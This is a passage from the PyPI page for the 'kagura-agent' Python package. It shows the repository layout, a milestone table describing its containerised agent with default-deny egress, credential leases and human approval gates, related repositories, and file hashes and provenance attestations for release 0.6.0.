│ │ ├── graduation.py # capability trust-score from prevents-edges
│ │ └── seccomp-agent.json # the agent seccomp profile
│ ├── cockpit/ # trusted host process (control surface)
│ │ ├── core.py # transport-agnostic intent router + serve loop
│ │ ├── intent.py # structural launch/continue/status/approve/kill classify
│ │ ├── registry.py # thread ⇄ container session table (+ restart reconcile)
│ │ ├── hitl.py · approval.py # cred/egress approvals + the pending-approval producer seam
│ │ ├── memory_write.py # memory:write HITL + write-graduation gate
│ │ └── transports/ # base · cli · slack (Bolt, Socket Mode) · discord
│ └── cli/
│ ├── main.py # run / repl / serve / doctor / setup
│ ├── doctor.py # preflight (memory / claude / docker / egress / providers)
│ └── setup.py # operator-gated setup guidance
├── tests/ # 50 modules; test_seam pins the brain-seam invariant
└── deploy/
├── images/
│ ├── Dockerfile.base # L1: essential + gh, zero creds
│ ├── Dockerfile.python # L2: FROM base; +python toolchain
│ ├── Dockerfile.agent # the in-container brain image (#102)
│ └── egress-proxy/ # the egress proxy image
└── compose.yml # single-user self-hosted (cockpit on host)
Python; the Claude Agent SDK (default) or the sibling kagura-brain claude/codex/ollama wrapper.
Implementation status (v0.1–v0.7 skeleton)
The pure-Python core of every milestone is implemented and tested (50 test
modules, mypy --strict, ≥95% coverage); the infrastructure edges (real Docker,
cloud STS/Cloudflare, the Slack/Discord/SDK clients) sit behind protocol seams with
their adapters wired for deployment.
Running it. See the Quickstart at the top of this file for the full
first-run setup — install with a brain extra, the two logins (kagura auth login +
Claude Code CLI / ANTHROPIC_API_KEY), kagura-agent doctor, then kagura-agent run "task" (serve --transport slack|discord for the cockpit loop, --container to seal
the brain in a hardened container). Run the test suite with pip install -e '.[dev]'
then pytest; type-check with mypy (strict).
| Milestone | What landed | Key modules | Tests |
|---|---|---|---|
| v0.1 walking skeleton | brain seam, ClaudeBrain, memory-reachability startup gate (CLI-primary, brain-independent as of v0.2-A6), per-provider auth, CLI transport, structural intent router, session + checkpoint, cockpit wiring |
core/brain/, core/session.py, cockpit/, patterns/checkpoint.py, mcp/memory_cloud.py |
test_session, test_brain, test_transport, test_cockpit_v01, test_seam, test_memory, test_cli |
| v0.2 membrane | mount guards (no docker.sock / host FS), baked hardening flags, default-deny egress, CredentialBroker/Lease (stateless + stateful), lease ledger + sweeper, launcher↔runtime |
membrane/launcher.py, membrane/egress.py, membrane/lease.py, membrane/runtime.py |
test_membrane, test_lease, test_launcher |
| v0.3 cockpit + HITL | HITL approval (fail-closed + graduation trail), session registry + restart reconcile, status/kill intents | cockpit/hitl.py, cockpit/registry.py, cockpit/core.py, cockpit/intent.py |
test_cockpit_v03, test_cockpit_control |
| v0.4 graduation | per-category curve (verified successes, fail-closed, cooldown), input-trust gate, prevents-edge failure learning | membrane/graduation.py, patterns/failure_learning.py |
test_graduation, test_failure_learning |
| v0.5 transports | Slack (Bolt) + Discord normalizers onto the shared Event — pure additions, no core change |
cockpit/transports/slack.py, cockpit/transports/discord.py |
test_transports_v05 |
| v0.6 credential config | secret references (env / OS-keychain *_keyring), the provider registry + validator, and GrantedBroker — leases are minted only for explicitly --granted scopes (default-deny) |
membrane/secret_source.py, membrane/registry.py, membrane/granted_broker.py, membrane/cred_env.py |
test_secret_source, test_granted_broker, test_registry, test_build_broker, test_cred_env |
| v0.7 run path + doctor | grants enforced end-to-end (run builds broker → leases → container env → releases on exit), suffix-agnostic secret resolution, doctor secret-backend awareness, the serve cockpit loop, and the pre-OSS adversarial-audit hardening (lease-sweep poison-vs-transient, typed revoke taxonomy) |
cli/main.py, cli/doctor.py, membrane/cloud_transports.py, membrane/registry_io.py, membrane/revoke.py |
test_doctor, test_doctor_credentials, test_registry_io, test_revoke, test_membrane_bugfixes |
| #102 brain-in-container | run the brain inside the hardened, egress-sealed container over JSON-lines IPC (ContainerBrainProvider), with an in-container entrypoint + BYOK launch spec; serve --container wires launch → registry → kill |
core/brain/container.py, core/brain/container_main.py, membrane/brain_container.py |
test_container_brain, test_cockpit_container, test_brain_container_deploy |
| #134 kagura-brain backend | a second brain behind the same protocol — KAGURA_AGENT_BRAIN=kagura-brain → claude/codex, with …_MODEL / …_LOCAL_PROVIDER / …_ENDPOINT reaching local + cloud ollama (the BYO-endpoint mis-route was fixed upstream in kagura-brain 0.6.0) |
core/brain/select.py, core/brain/kagura_brain_engine.py, core/brain/sdk_engine.py |
test_brain_select, test_kagura_brain_engine |
The seam invariant is enforced as a test: test_seam fails if core/session.py
ever imports the SDK. deploy/images/ ships Dockerfile recipes (digest-pinned,
no prebuilt image) — Dockerfile.base / Dockerfile.python, plus
Dockerfile.agent for the in-container brain (#102) — and deploy/compose.yml
provisions the egress proxy; the cockpit runs on the host and is the only side
that speaks to Docker.
Related repositories
| Repo | Role | Relationship to agent |
|---|---|---|
kagura-ai/kagura-engineer |
Coding-specialized actor (shipping) | Independent sibling agent sharing the memory+actor thesis (not a platform/instance) — see "kagura-agent and kagura-engineer" above. Where shared primitives get proven first. |
kagura-ai/kagura-code-reviewer |
Review subagent | Ollama-powered code reviewer with a green/yellow/red verdict; launched by kagura-engineer's review. A model for the agent's own sub-agent dispatch. |
kagura-ai/memory-cloud |
Persistence + MCP server | The backbone. Agent's primary MCP. |
kagura-ai/kagura-memory-python-sdk |
Primitive SDK | Used by the memory MCP client wrapper inside the agent. |
License
Apache License 2.0 — © 2026 Kagura AI. See LICENSE for the full
terms and NOTICE for attribution.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file kagura_agent-0.6.0.tar.gz.
File metadata
- Download URL: kagura_agent-0.6.0.tar.gz
- Upload date:
- Size: 524.2 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
c04d053aa83d2d5956faff5c5d78f5407dd1bc538df144e0d6676c7815920ecc
|
|
| MD5 |
caaf0a26816c4e39a4f8defb1a8c3e19
|
|
| BLAKE2b-256 |
cdbde7c76ab4ecdd168524c51287c81695069aa93e34209c5c868dbe2b7dc820
|
Provenance
The following attestation bundles were made for kagura_agent-0.6.0.tar.gz:
Publisher:
publish.yml on kagura-ai/kagura-agent
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
kagura_agent-0.6.0.tar.gz -
Subject digest:
c04d053aa83d2d5956faff5c5d78f5407dd1bc538df144e0d6676c7815920ecc - Sigstore transparency entry: 1895115156
- Sigstore integration time:
-
Permalink:
kagura-ai/kagura-agent@55833a12ec88c307d5c1705de3a9ed9fd462b4b9 -
Branch / Tag:
refs/tags/v0.6.0 - Owner: https://github.com/kagura-ai
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@55833a12ec88c307d5c1705de3a9ed9fd462b4b9 -
Trigger Event:
push
-
Statement type:
File details
Details for the file kagura_agent-0.6.0-py3-none-any.whl.
File metadata
- Download URL: kagura_agent-0.6.0-py3-none-any.whl
- Upload date:
- Size: 191.5 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
706fe29b429edd29d5e72dae3dd8a06074e3f146f71c0dc5e66b22261aec03af
|
|
| MD5 |
823e590415181f47894070540604c77e
|
|
| BLAKE2b-256 |
8039620b52cf65d9d314149e0f4f00e86ee8ecba29cea700800cf3a9f7c6ae6b
|
Provenance
The following attestation bundles were made for kagura_agent-0.6.0-py3-none-any.whl:
Publisher:
publish.yml on kagura-ai/kagura-agent
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
kagura_agent-0.6.0-py3-none-any.whl -
Subject digest:
706fe29b429edd29d5e72dae3dd8a06074e3f146f71c0dc5e66b22261aec03af - Sigstore transparency entry: 1895115251
- Sigstore integration time:
-
Permalink:
kagura-ai/kagura-agent@55833a12ec88c307d5c1705de3a9ed9fd462b4b9 -
Branch / Tag:
refs/tags/v0.6.0 - Owner: https://github.com/kagura-ai
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@55833a12ec88c307d5c1705de3a9ed9fd462b4b9 -
Trigger Event:
push
-
Statement type: